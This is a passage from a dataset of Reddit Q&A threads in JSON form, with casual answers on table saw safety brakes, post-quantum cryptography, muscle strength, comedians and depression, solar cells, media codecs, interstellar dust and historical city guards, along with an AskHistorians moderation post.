delrin by releasing a spring-loaded arm.\n\nSource: studied implementing this technology for other industrial applications. ", "Have one here.\n\nIt is like a capacitive touchscreen.  Any path-to-ground trips it, but also, any touch even if you're not touching a ground.  It will not work through gloves but that's actually good, it still stops once flesh is in danger.\n\nThere is an aluminum brake pawl with holes drilled in the side to ensure the sawblade digs into it on first contact.  It's on a HEAVY compression spring (like 100 lb), held back only by a thin wire keeping it compressed. The pawl is only like 1/8\" from the blade normally.   To \"fire\", it doesn't use a pyro charge, it just triggers a lot of electrical current through the wire and it vaporizes instantly, the spring kicks out the pawl hard,  and once the pawl touches the blade the blade digs into it and only wedges the pawl in further/tighter.   \n\nIt is very, very fast, only a few degrees of turn from contact before it halts.  Also the blade retracts into the table. \n At most it can nick you.\n\nEVERYTHING magic is on the firing cartridge.  The signal generator,  touch-sensing magic, and firing circuit are all integrated.  It also has an onboard cap which holds enough charge to vaporize the wire even if you have a poor connection to main power that is insufficient to fire it.  The system does a self-check and will not start with the cartridge not responding correctly.\n\nIf fired, you lose a $70 cartridge and whatever the blade costs ($40-$90).  You generally cannot recover the blade, they fuse together.  It will lose carbide teeth almost always.  But, you do have a fresh, sharp blade by the end of it.\n\nIt is essentially 100% effective on flesh contact blade injury.\n\nIt does NOT protect against kickback, where the blade throws wood violently, usually due to doing something \"wrong\" (being stupid).  It can throw wood close to 100mph and can injure in many ways, but losing fingers is rare.  Breaking a finger is more common.  It can injure someone 50ft away inline with the blade.  Normally, kickback comes with a significant risk of blade contact injury due to kicking your hands too- but that element really isn't a problem with Sawstop.\n\nIt WILL \"misfire\" on conductive stock and that eats the firing cartridge and blade:\n\nwet wood (it has to be really wet, no one needs to be cutting wet lumber)\n\nfoil-backed radiant barrier roofing plywood\n\nmirrored acrylic\n\netc\n\nThere is a Brake Disable mode that requires a special key, but it's a pretty bad idea\n\nThe Sawstops run $1600-$4900.  They are also a top quality table saw.  Other comparable top-quality saws like Powermatic (no safety brake) run $1000-$5200 anyways.\n\n", "Principally it works similarly to a phone screen. The phone will activate when a finger or similar moist conductive thing is touching it, but not say a pencil or in this case a piece of wood. When the blade detects that something capacitive is touching is like a finger, it shoves a big piece of metal in the blade causing it to nearly instantly stop and fall from the finger.", "My question is, that in these videos they always go fairly slow.\n\nWhat would happen in real situation, if your hand slips in to the blade fast?", "Exactly the same way as a smartphone touchscreen. \n\nIt has a small electrical charge running through it. Human fingers are mildly conductive. When you touch it, it senses the voltage drop and triggers a pyrotechnic charge that drives an aluminum shoe into the blade, fouling it and stopping it immediately. The angular momentum of the blade is conserved, and redirected to retract it into the table instantly.\n\nYou touch it, you pull a tiny bit of juice out of it, and it deploys the boom-brake.", "For anyone curious how it works: The blade carries a small electrical signal, which the safety system continually monitors. When skin contacts the blade, the signal changes because the human body is conductive. The change to the signal activates the safety system.\n\nNeat!"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/interestingasfuck/comments/9w205h/table_saw_with_builtin_finger_protection/?st=JOCW4SIJ&amp;sh=227d33c2"], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://youtu.be/eiYoBbEZwlk"], [], [], [], [], [], []]}
{"q_id": "4k1wne", "title": "how does post quantum cryptography differ from today's methods of encryption?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4k1wne/eli5_how_does_post_quantum_cryptography_differ/", "answers": {"a_id": ["d3bghlb", "d3ckkum"], "score": [42, 3], "text": ["They're not really different in any fundamental way. Cryptography is more or less based on functions that are easy to calculate in one direction, but hard in the other. So given x it is easy to find f(x)= y, but given y it is supposed to be hard to find x.\n\nThe problem with some of the of the functions we use is that that is no longer true if we have a quantum computer. The solution is simply we stop using those functions and instead use functions where we think it is not easy on a quantum computer", "Currently, a lot of cryptography relies on asymmetric cryptography. Public key cryptography relies on the idea that there are certain functions that are easy to verify the answer for but hard to find the answer for. Hence, \"asymmetric\". Now, even so, a lot of this \"hardness\" is presumed and not even proven. It is more like, so far we can't prove that it's not hard.\n\nPretty much all mainstream crypto a person encounters is going to at least somewhat if not completely rely on asymmetric cryptography.\n\nThere are algorithms that already exist around theoretical quantum computers that would significantly weaken public key cryptography as we know it, such as Shor's Algorithm. If quantum computers existed today, this would lead to a lot of in use algorithms becoming useless. [_URL_1_]\n\nAn alternative being researched by some, which I personally have messed around with despite not being a true cryptographer but just a computer scientist, are hash-based replacements.\n\nCryptographic hashes are very important in cryptography already. A popular cryptographic hash algorithm right now is SHA-256. This algorithm takes any input and maps it to a 256 bit number. That means, a number between 0 and (2^256) - 1.\n\nThe goal of a cryptographic hash function is to return a truly random value for every query, where a repeated query gets the same random value. Maybe I feed the hash function \"I like fish\" and get back \"10\", but I feed it \"I like chicken\" and get back \"132424543689\". However, should I once again feed it \"I like fish\" it would once again return \"10\" to me.\n\nHowever, there are a few caveats. First, the hash function must have \"pre-image resistance\". This means that if I have \"10\", I cannot derive \"I like fish\". I cannot go backwards from my answer to the question.\n\nSecond, the hash function must have \"second pre-image resistance\". Let's say that if I feed the hash function \"I don't like candy\" it also returns \"10\". This means that both \"I like fish\" and \"I don't like candy\" return the same result: \"10\". I should not, however be able to look at \"I like fish\" and determine just from that that \"I don't like candy\" will hash to the same result.\n\nFinally, the hash function should have collision resistance. This is similar to second pre-image resistance. I should not be able to easily find two messages that have the same hashed result. Even though collisions will exist simply due to the limited range of outputs versus the infinite range of inputs, I shouldn't be able to easily derive colliding messages. If both \"I hate carrots\" and \"I love green beans\" resolve to \"1534453\", I should not be able to sit at my desk and just come to that conclusion independently. It should take a lot (read, improbable amounts) of brute forcing to discover that the two inputs resolve to the same hashed output.\n\nFor both forms of pre-image resistance, the fact that SHA-256 has 256 bit output as well as no known weaknesses leads to a security level of 256 bits. However, the collision resistance only yields 128 bits (256 bits / 2) of security. Why? Because of the birthday paradox.\n\nIn a room of 30 people, there is a very high probability that two of them share a birthday. Similarly, an attack can be formed against a hash function knowing that finding **any** collision is much, much easier than finding **a specific** collision. However \"much, much easier\" is fairly meaningless when reducing 256 bits of security to 128 bits of security.\n\nBecause cryptography is interested in safety, SHA-256 is determined to have 128 bits of security rather than 256, to account for potential attacks regarding collisions which are the weakest link. Note that this is not specific to SHA-256, it is simply a \"rule\" of hash functions in general that aren't found to be otherwise weak.\n\nSo hopefully, you understand what hash functions are. They serve a lot of purposes currently, for example one might store a hash of a password rather than the password itself in a database (however this is now a quaint solution and has been superseded by better methods which I won't sidetrack with) or use a hash of a message as a checksum to ensure that a message was not mistakenly altered in transit.\n\nHowever, what hashes are not currently widely used for are authentication systems and digital signature schemes. Authentication systems are essentially logins and digital signature schemes are systems that allow an individual to \"sign\" a document in such a way that the document cannot be modified without the signature becoming invalid, nor can an attacker sign on someone else's behalf illicitly.\n\nThe reason why hash based encryption could become popular in a post-quantum world is that currently, theoretical quantum attacks on hashes do not decimate their security. The main attack algorithm that would affect hashes when quantum computers exist is Grover's Algorithm.\n\nThe outcome of Grover's algorithm is that the security with regards to pre-image attacks is cut in half and that the security with regards to collision attacks is one third [_URL_0_]. Remember how SHA-256 actually has 256 bits of security against pre-image attacks, yet 128 bits of security overall, due to only having 128 bits of security with regards to collision resistance. Quantum computing says that pre-image attacks now have only 128 bits of security and collision attacks only have 85 bits (256 bits / 3) of security, leading to 85 bits of security overall.\n\nThis is not great. Luckily, there are plenty of other hash algorithms with larger bit outputs and bits of security. The easiest upgrade for our example would be SHA-512, where now you output 512 bits in classical architectures offer 512/256 bits of security and in quantum architectures offer 256/170 bits of security. You generally want to see numbers at or above 128 bits of security.\n\nSo what I still haven't gotten to is \"what is hashed based encryption?\"\n\nLet's say Alice wants to send Bob a message, and furthermore she wants Bob to be able to verify that she sent it and that it was not tampered with by Eve in transit.\n\nIn public key (asymmetric) cryptography, Alice would generate a public/private keypair and send Bob her public key while keeping her private key secret. The public and private keys in a keypair are essentially intertwined in such a way that they can each individually be called upon for cryptographic operations on data, while their sibling key can be called on for the inverse cryptographic operation as a means of verifying. **Yet** it is \"hard\" to derive the private key from the public key. Essentially, this relies on hard math problems that one can't really ELI5 too easily such as the factoring problem. These hard math problems are exactly what a quantum computer would, in many cases, make easy.\n\nAfter keypair generation, Alice would sign a message with her private key and send the message to Bob. Bob would be able to verify, using a verification function and Alice's public key, that the message was indeed sent by Alice and not modified at all.\n\n**continued...**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://crypto.stackexchange.com/a/12076", "http://security.stackexchange.com/a/48027"]]}
{"q_id": "4odrlt", "title": "what is the correlation between muscle volume and overall strength? why do men and women weightlifters have such different muscle sizes, even when they can lift similar amounts of weight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4odrlt/eli5_what_is_the_correlation_between_muscle/", "answers": {"a_id": ["d4bu1ze", "d4cf9lh", "d4chno7"], "score": [64, 3, 5], "text": ["[Look at Olympic weightlifting records]( _URL_2_)For example, The snatch record for men in the 56kg weight class is 139kg. That record is not beaten by a woman until you reach the 75kg+ weight class. At the top level men and woman at different muscle sizes do not lift similar amounts of weight \n\n[Wu Jinbiao](_URL_1_) is 5'3\" and 123 lbs\n[Tatiana Kashirina](_URL_0_) is 5'10\" and 225 lbs\n\nThese are the record holders mentioned before. Men can hold a lot more muscle on their frame than woman can naturally. This is due to hormones and genetics. Basically a woman has to have 7 inches of height on a man to put enough muscle mass on her frame to out lift him. \n\nNot just that but women and men respond differently to psychical training. Having more testosterone allows men to not only recover faster but have denser bones, stronger tendons, larger muscles, and limb proportions with greater leverage.  \n\n", "All I know is that we had a guy from the University spend a summer on our farm who worked out seemingly pretty heavily because he was well built. Really nice guy. But he had a lot of difficulties keeping up with not very large teens and a 60 year old man. A lot of that might have been form and familiarity with the work. But it still was weird seeing a guy that muscled not be able to throw hay, muck a stall, dig a bunch of fence holes, carry lumber etc very well or for very long. He was there to learn about the animals, but farming is work from dawn to dusk.\n\nThe strongest man I've known was a farmer who really was pretty muscled, but also not very tall. I imagine that leverage, plays a big role. If you're tall you're working over a greater length of arm. He could lift unbelievable weight.", "Men have a higher % of their total body weight as muscle mass than women.\n\nSo a 50kg man and a 50kg woman won't have the same amount of muscle mass.  You'd expect the man to be stronger."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.ytimg.com/vi/tY4ZKiAJL1I/maxresdefault.jpg", "https://firstpull.files.wordpress.com/2014/01/56kg_plateaua_paris2011-wu-jingbiao.jpg", "https://en.wikipedia.org/wiki/List_of_world_records_in_Olympic_weightlifting"], [], []]}
{"q_id": "2daiff", "title": "is there actually any link between being funny and being at increased likelihood to be depressed.", "selftext": "People always tell me the funny ones are the ones who are usually depressed. Is there any link between the two? People have already mentioned it to me in the short time Robin Williams has been dead, whose passing is a complete tragedy.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2daiff/eli5_is_there_actually_any_link_between_being/", "answers": {"a_id": ["cjnnewg", "cjnnfwb", "cjnqxn9", "cjnruoy", "cjns8lq", "cjnt93t", "cjnu5gk", "cjnutav"], "score": [16, 3, 6, 16, 2, 2, 17, 4], "text": ["There is some primarily anecdotal evidence that links creativity (such as in artists and comedians) and depression or other mental illness, but studies are still ongoing.\n\nIt's a tragedy for certain :/", "Gosh, I'd imagine any research there would very difficult to do. You'd need some kind of systematic way to determine who is and is not funny. And it seems so subjective, no? But yeah, it seems like a lot of comedians tend to be depressed. I saw Daniel Tosh live and he told like several suicide jokes and he seemed, well, kinda serious. ", "Some people are very sad  &  depressed that they hide their feelings behind their comedy, making people around them laugh and think: \"[x] must have a great and happy life, someone this joyous can never be sad!\" ", "I think that people who are more likely to be \"funny\" or have a good sense of humor are just those who are more sensitive to the spectrum of emotion. So, it's a double edged sword. They can possibly better appreciate humor, but are also sensitive to the negative aspects of existence that others may gloss over.", "You ask a compelling question.\n\nIt would appear that artists in general tend to be more 'sensitive' to the influences of joy, sadness, and pain.  Exactly why this is so remains unclear, and testing for it seems impossible.\n\nIt's a common belief that many comedians have their own bag of secret sorrow (Robin Williams among them), and making others laugh is their antidote.  As we saw in his work, he could also play dramatic roles that tapped into deeper emotions such as grief and pain.  He was increasingly open about his demons in his later years.\n\nShort of running a psychological battery of tests on a group of comedians, I think we have to rely on anecdotal evidence.  Show business types in general tend to be more sensitive to pain, rejection, and devastation over failure and perceived failure.  Why this is so is unclear, but it may be related to the fact that they seem to feel emotions more deeply than the rest of us.  ", "Apparently, I have read that people who are funny are almost always more intelligent than the average person. So I would be more inclined to believe that intelligence could be the determining factor as to whom suffers from some type of depression.\nBasically, the smarter you are, the more aware you will be towards the events that surround your life, so you inevitably have an increased likelihood of being depressed. Have you ever seen a moron or a yokel depressed? Didn't think so.", "A typical reaction for a child growing up in a dysfunctional home is to try to make everyone happy. They learn very young that if they can make people laugh it relieves the tension of home life. Providing humor becomes their family role and being funny becomes a critical life skill.  It's not surprising that someone growing up in these conditions would suffer from depression. \n\nJim Carrey was once asked in an interview - what is the secret to being a great comedian? He replied \"alcoholic grandparents\".  ", "Just my own feelings on this. I think that depressed people have an urge to be liked. They work very hard on this and humour is a great way to be liked. They will be very happy when doing being a performer and interacting with people, hiding their true feelings or forgetting about them for a while. Alone they probably overide and lead to some dangerous thoughts. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "423nk3", "title": "why is microsoft word so delicate and finicky with its formatting sometimes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/423nk3/eli5why_is_microsoft_word_so_delicate_and_finicky/", "answers": {"a_id": ["cz7ed9q"], "score": [11], "text": ["I don't know if anyone can explain MS Word's logic, but you can at least reveal their method by pressing Shift-F1... it'll open a \"Reveal Formatting\" pane. Wherever you put your cursor, it'll tell you both the current formatting and how to change it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1f6y8e", "title": "What happens to the light that strikes a solar cell but is not converted into electricity?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f6y8e/what_happens_to_the_light_that_strikes_a_solar/", "answers": {"a_id": ["ca7dxc3", "ca7dy2g"], "score": [14, 4], "text": ["If it's absorbed it's turned into heat [just like any other light that is absorbed], if not it's sent packing back into space or wherever.\n\nIronically heating up a solar cell makes it less efficient so the ideal solar cell is highly reflective.", "The most simple answer is that MOST of it is lost to heat (because the energy of the light does not match the bandgap of the cell; also collision events), but SOME is lost to reflections (cells are usually blueish, so some light is reflected) and absorption/re-emission events (google: 'recombination', specifically 'radiative recombination')."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "30ot0i", "title": "why don't media players just come with all the codecs i need installed?", "selftext": "I mean, if I want to stream an mkv file to my Xbox One from my PC, why don't Microsoft or whoever just have the right codec installed so I can just do it instead of scrabbling around the internet trying to find what I need from a dodgy site. \n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30ot0i/eli5_why_dont_media_players_just_come_with_all/", "answers": {"a_id": ["cpue2wg"], "score": [2], "text": ["A lot of codecs are Open Source and to follow their license, if you want to use them in your software, you have to offer all source codes of your software for free. So by having Open Source codec in your operating system, you would have to give away free source code for the whole operating system and Microsoft would never do that. VLC, which basically contains all codecs can do that, because whole VLC is Open Source and free to use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2mcnq4", "title": "Will interstellar dust cause problems for interstellar travel? Do we know how large and dense an average dust particle outside of our solar system is?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2mcnq4/will_interstellar_dust_cause_problems_for/", "answers": {"a_id": ["cm39e6b", "cm3l3s3"], "score": [14, 3], "text": ["According to this source, the majority of the mass between stars is elemental and molecular hydrogen/helium in a 75:25 mix. There are some particles of silica and other, somewhat similar materials (carbon ice, iron), but they're less than a micron in diameter. (1 micron being 1 millionth of a meter). I'd assume the density is similar to their bulk counterparts. These seem reasonable compared to values I heard tossed about in my Stellar Astrophysics class as an undergraduate.\n\nAs to problems with spacecraft, it depends on how fast you're going. Certainly the density of particles between stars is astoundingly low, but as you speed up you'll hit more particles in the same unit time, and they'll be hitting you harder. A rough estimate seems to imply that you'd have to be going very nearly the speed of light to worry about individual dust or ISM particles, though the combined pressure of running into a continually larger number of particles may reduce that threshhold.\n\n_URL_0_\n\n\nYou may also want to check out the Wikipedia article on the Interstellar Medium, it reads pretty easily and has some nice sourcing.\n\nEdit: Slight content additions.", "Yes it will, because interstellar travel will require very high speeds, speeds at which the atoms and ions in the interstellar medium becomes hazardous radiation and dust motes become dangerous kinetic projectiles. At 0.001 lightspeed impactors have 10000 times their mass in kinetic energy in tnt equivalent units. Meaning that a 1 gram impactor would create an explosion equivalent to 10 kg of tnt. Over a several lightyear trip that would add a lot of wear and tear to the spacecraft.\n\nBut fortunately it's possible to avoid that. You could ionize incoming particles using lasers or other means and divert the particles and atoms out of the way using magnetic fields. You could also use a sacrificial shield of several layers of thin material to protect against anything not caught by the first system."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www-ssg.sr.unh.edu/ism/what1.html"], []]}
{"q_id": "3cnfu2", "title": "why is there a lot of terrible songs at the top of music charts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cnfu2/eli5_why_is_there_a_lot_of_terrible_songs_at_the/", "answers": {"a_id": ["csx6fvu"], "score": [2], "text": ["Because large groups of people like them. Whether you don't or not. It may not be your taste, or you can find it downright terrible. But as they say, one mans trash. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16r63g", "title": "[Meta] Some reminders and clarifications about answers.", "selftext": "Okay folks, lets talk.\n\nWe have seen a recent amount of sizable growth in the past few months with our repeated posting to /r/bestof and winning \"Best Large Sub\" from truebestof 2012.  We are flattered and excited by this growth, but at the same time have seen some growing pains occurring, so we wanted to go ahead and address them.\n\n\nLately we have seen quite a few rules debates occurring around here.  They have gotten so bad that they ended up exceeding the actual number of posts that actually addressed the issue.  Its fine that you want to debate the rules, however, if you feel passionately enough about them, contact the moderators and ask for a clarification, or ask to take them to a meta thread.  We are here to answer questions, not bog down a thread with debates over the definition of \"is.\"\n\nNow, let me go ahead and clarify a few thing outright.\n\n1. ) **The rules are the absolute bare minimum that must be met**.\n\nMost top tier posts fit these guidelines.  However we have seen quite a few mediocre posts (using those terms loosely).  We prefer that you exceed the rules.\n\n2.)  **Copy pasta of an article is lazy posting and spammy**\n\nSomeone the other day simply copy and pasted the text of a wiki article as their entire post.  Firstly, always assume that the OP has read the bare minimum of information to include Wikipedia.  You can quote it in your answer, but as your only answer, its just spammy and lazy.  This leads me to...\n\n3.)  **Simply throwing a link up is also a bit lazy** \n\nIf you are linking to a web site or another /r/askhistorians thread that already answered this question, please give a \"TL;DR\" for the links.  \n\n4.)  **Don't post just to \"save for later\"  There is a save link feature to reddit.**\n\nPlease use it.  You are just spamming up the thread.\n\n5.)  **If you can't answer now, don't answer**\n\nIf you do not have to the time to answer, don't throw up a \"I know the answer, but I can't answer now.\"  Just wait until you can answer please.  It's not a race to karma, and even though your answer may not end up at the top, you can still use it later to get your flair if that is what you are after.\n\n6.)  **If your answer begins with \"I'm guessing\" or \"I don't know, but I think..\" or god forbid, \"I was told by a guy I once knew\" just don't post.**\n\nIf you are not **100,000% sure** of your answer, just don't bother.  It spams up the thread.  This isn't a test you are taking, and its not a contest to answer.  I myself have stopped halfway through more posts than I have finished here because I wasn't 100% sure of my answer.  Quit guessing, you aren't being graded.\n\n7.)  **Source PLEASE if asked, especially if you are not flaired**\n\nIf you are being asked for a source, it completely behooves you to find *something* to back up your claims, especially if you are not a flaired user.  Flaired users have shown that they are reliable and are able to substantiate their claims.  Non-flaired users should really substantiate their claims with a source.  No, it doesn't need to be a citation down to the page, but something should be available if you are asked.  You probably aren't the only person to read that book, so it allows people to check your work.\n\n8.)  **In any debate, the mods pretty much are the final word**\n\nUnlike many other subs, the moderator team here are actual experts in their fields varying from college professors to grad students to published writers to highly read amateurs.  We also spend much of the day debating back and forth about new policies, new rules, and the way controversial posts are handled.  Very little is done arbitrarily by \"power tripping mods\" outside of elimination of posts that blatantly violate the rules.  When a mod says the post is not good enough and deletes it and you want to object, take it to mod mail.  When a mod asks for a source, they are doing so for a reason, just give sources.  If you have any problems send it to mod mail, do not spam up a thread with your Braveheart style \"FREEEDOM TO POST!!!!\" speech.\n\nAnd before you ask, yes, mods here have changed their minds about things after they have been clarified.\n\n9.)  **\"UPVOTED FOR AWESOME!\"  \"You rock!\" etc. are spam.  Stop it**\n\n'Nuff said.  Let your upvotes speak.\n\n10.)  **Two sentences does not an answer make.  If you are going to answer the question, give an in depth quality answer.**\n\nIf your answer is something like this exchange, Q: \"What did pirates really sound like?\" A: \"Pirates came from like all over and they really wouldn't have sounded like you think they do.\"  Then you have given a bad answer.  You need to explain yourself, clarify things, show why.  Anyone can write a two sentence answer, someone who actually cares writes a paragraph.\n\n11.)  **Actually answer the question.  Quit trying to redefine the question for them and obfuscate that you don't actually know the answer.  Just bloody answer it.**\n\nLately, I have seen a lot of hand waving that doesn't actually answer the question.  For example, I myself asked the other day \"How many members of a Roman Legion were from the upper classes?\"  The response I got was telling me all about how you had to be a leader in the legions to gain high office.  Yes, thats nice and all, but it doesn't answer the question.  If someone asks, \"Why did Hitler have a mustache?\" don't answer with a bunch of half thought statements about the history of facial hair, answer that specific question.  \n\n12.)  **Stop with the non-sequitors.  Only post something that is relevant.**\n\nSimilar to #11.  If OP asks about the history of Islam in the Philippines, don't say something like, \"Bangladesh is Muslim too!\"  It's irrelevant and makes you sound like Ralph Wiggum.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16r63g/meta_some_reminders_and_clarifications_about/", "answers": {"a_id": ["c7ym0r7", "c7ym2f8", "c7ym57v", "c7ym7ho", "c7ym8zx", "c7ymgei", "c7ynn1y", "c7yo0uq", "c7ypnvu", "c7ypttn", "c7yq026", "c7ysmim", "c7ytjnv", "c7ytw3p", "c7yukev", "c7ywxpg"], "score": [29, 59, 6, 270, 44, 18, 20, 8, 5, 10, 4, 3, 3, 2, 3, 2], "text": [" >  If you can't answer now, don't answer\n\n >  \"UPVOTED FOR AWESOME!\" \"You rock!\" etc. are spam. Stop it\n\nThank you for enforcing these. It's endlessly frustrating for the comment threads to be filled with extraneous nonsense.\n", "Hear hear!\n\nAnd make no mistake, these common-sense guidelines *will* be enforced.", "For some of these I can see how it would be hard to make official rules against (5-6, 10-12).  But for others I think they can easily be addressed by stricter rules.  If the mods (and I'm sure many other users of this sub-reddit) prefer responses to be above the current minimum standards, the only real way to stop that is revise the current rules.  I agree with many of your statements, but countless reminder threads have shown to be ineffective.  There needs to be a revision of the rules.  Nobody likes when someone simply copies and paste a Wikipedia article (or imo, any source)?  We should ban that kind of response.  \"Save for later posts\" are annoying? We could be more strict, perhaps giving out warnings to those who do it.  Sources aren't being provided?  Make a rule that requires sources to be provided unless a question is being asked.  \n\nI want to clarify I'm not trying to say that the problem is with the mods; you all do an excellent job.  The problem is with the rules, which have become out-dated since the influx in users of this sub-reddit.", "History is largely about giving context, and it usually employs a narrative.  It's hard to do that in one or two sentences.  If you only have one or two sentences to say, consider if it really needs to be a top tier comment.  Wait because, unless it's an incredibly obscure topic, someone who knows more will come along soon. And of course, the best answers are usually longer because the answer is \"there was variation\" and \"it changed over time\", and the best answers *describe some the variations/changes.* Or, if it's about a specific moment in time, they say \"There's debate\" and *then give both sides of the debate* (before saying which side they come down on).\n\nFor an example, let's look at the the recent (totally non-controversial) question, \"What did the Great Plains settlers do for water?\"\n\n*  The most down-voted answer was:\n\n > \"wells lots of wells\"\n\nThis answer gives no context, and puts it in no narrative.  It was (rightly) deleted by the mods.\n\n* An okay, but incomplete answer (and there have been some good threads built off incomplete answers) said:\n\n > Before the introduction of horses, all Great Plains settlements were along rivers, particularly the Missouri River. The dams on western rivers came in the mid-20th century.\n\n* The next best answer gave context that the plains aren't as dry as OP thinks, and that the question it self had made some mistaken assumptions.  It then goes on to give specific examples about how readily water is available from lakes and streams.\n\n* But the best answer (and top voted) one was the one that, in detail and with a source, described how the settlers started near rivers and creeks and eventually dug wells.  Not only that, the answer described the process of digging the wells.\n\nThe point I'm trying to make is that none of the answers were wrong, at all.  My point is, **the good answers aren't good just because they are \"right\"--they are good because they explain. In your top tiered answers, you should seek not just to be right, but to explain**.  Or at least, that's my opinion.  I'm tempted to post answers to *a lot* of questions because I know enough from my wide reading to give simple *Yes* or *No* type answers to most things asked.  I obviously hold myself back because, let's be honest, while I heard something about Julius Caesar and that other guy once, there are people here who will answer that question a lot better than I will.\n\nRecently, when I have one little juicy tidbit to share, I've started waiting until there's a good answer on the thread, and then coming back and posting it as a second tiered comment that will give context to the first tiered comment written by someone else.  But if I just post every little answer that comes into my head, it just clutters up the thread.", "Thanks for disseminating these guidelines - again.  This one is particularly brilliant:\n\n >  Stop with the non-sequitors...It's irrelevant and makes you sound like Ralph Wiggum.\n\nI'd like to add two warnings to these guidelines: be mindful of [presentism](_URL_0_ and [the historian's fallacy](_URL_1_).  Second-guessing historical actors on the decisions they made based on your own advantage of hindsight betrays an inability (or unwillingness) to understand the context in which they made those decisions.  \n\nClaiming someone \"should have\" done X is counterfactual speculation and doesn't tell us much about why they did what they _actually_ did.  If that's your cup of tea, then /r/HistoricalWhatIf is the place for you.  But a World War I general, an African slave, or a member of the Spanish Inquisition didn't think the same as you do today.  \n\nBe mindful of the background and biases you bring to the table when making a historical argument, and realize that not everyone shares these.", "How about posts telling others that their posts are against the rules?\n\nEg someone posts \"AWESOME HAVE AN UPBOAT\". What is the encouraged response to this? Is it to reply that and why these posts are against the rules, or is it to send the mods a message?", "One thing isn't covered. The other day I asked a followup question to the one asked and got downvoted fast. The question was very related to the discussion.", "I appreciate the clarifications and love this sub. I feel stupid asking this but what is the \"flair\" you keep referring to?", "Re. #4 - Reddit in its vanilla form does not have a \"save\" feature for individual comments, only for the overall thread. Just something to keep in mind when modding. AFAIK, it's only with RES do you gain the feature of saving individual replies.", " > 12.) Stop with the non-sequitors. Only post something that is relevant.\n\nHow do you determine what is relevant? As an example, In a thread about European noble houses being descended from Roman senatorial families, someone posted a well cited and detailed comment about a Spanish noble house descended from the Aztec royal family. Not strictly answering the question, but I personally feel that it was more interesting than most of the answers in that thread. \n\nI'm not saying that the rules should be relaxed to just allow people to throw any old historical trivia at a thread that's tangentially related, but I think saying that posts like that, which don't relate specifically to the original question but still fit the spirit of what they're asking, are not allowed is unhelpful.\n\nI suppose it's a toss up as to whether you want to say that the answers are only for the OP, or if they're for the wider community.", "I'm glad you're taking moderation of the sub seriously, it makes it stand out in a very good way.", "In hopes of making it more likely to get answers:\n\nHow about encouraging users to not downvote legitimate submissions, or at least give them some time first?\n\nThey'll disappear all by themselves soon enough, not necessary to make them stillborn.\n\nSome people are kind of tired of the top of the Zipf curve (Did any Roman emperor act like Hitler and try to take everyone's swords?)", "Thank you for posting this. I enjoy coming to this sub everyday and I always learn something, even if I just lurk. The Mods are why this sub is one of the best here. ", "Fair and even-handed.  Sounds good to me.\n\nAlthough the only time I have ever been 100,000% sure of something was when I yelled in alarm \"THOSE ARE BEES\" before being stung by an angry swarm.", "All I'm going to say is: I love you, eternalkerri. From your ralph wiggum references, to your knowledge of the early bill murray oeuvre to your expertise on all things piratical and low tolerance for fools.  Thank you.\nI realize that this post violates #9,but when am I going to be able to say it again in this sub?  ", "On no. 10, what if the question is only asking for a short answer? If someone asks, how many Allied troops landed at Normandy, would a few sentence answer be appropriate?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Presentism_(literary_and_historical_analysis)", "http://en.wikipedia.org/wiki/Historian's_fallacy"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "tmwgt", "title": "Sent here from r/assassinscreed, did city guards used to patrol rooftops?", "selftext": "Assassins Creed is a video game that is very good at keeping the settings historically accurate. Everything from the city maps and guard outfits to the characters and events. In the games, though, the city guards don't just patrol the streets; they also patrol the rooftops. Is this historically accurate for these settings:\n\nDuring the crusades in middle eastern cities like Jerusalem, in renaissance Italy cities like Florence, in Constantinople at the turn of the 16th century, and in NY/Boston during the american revolution.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/tmwgt/sent_here_from_rassassinscreed_did_city_guards/", "answers": {"a_id": ["c4o011h", "c4o0hlu", "c4o12a2", "c4o2bje", "c4obw6y"], "score": [68, 24, 96, 16, 6], "text": ["At least in regards to the American Revolution, I can't think of anyone ever being assigned to patrol a rooftop. Fortress walls, certainly, but not the roof of a building.\n\nIn regards to the games' accuracy - I've already got a number of problems with the dress and accoutrement of the British soldiers that we've seen in the trailers. Which is a shame, because doing it right is free when you don't have to worry about physically reproducing the stuff.", "I am not familiar with the game, but it was common practice to station sentries on roofs of prominent buildings in wartime, mostly to watch for fires set by saboteurs I believe. As to patrolling the roofs, I find that unlikely because of the pitched roofs common at least in Boston, and the distance between roofs at road crossings, the difference in building height, and lastly, the danger of falling through a poorly built roof.", "The whole notion of \"guards\" that are like cops, which is everywhere in fantasy and historical fiction, is an anachronism. Police forces as we know them today date basically to the nineteenth century. Guards were certainly protecting targets of government or military value (not rooftops unless there was a guard post built in) but the idea that they'd be out to catch thieves or criminals is wrong.", "Speaking from the perspective of a historian of the Middle East: no. Things like that just didn't happen, let alone in places like Damascus, Jerusalem, Aleppo, etc. As TRB1783 suggests, city walls (and in the case of the Crusader states, citadels) were a very different situation, however.", 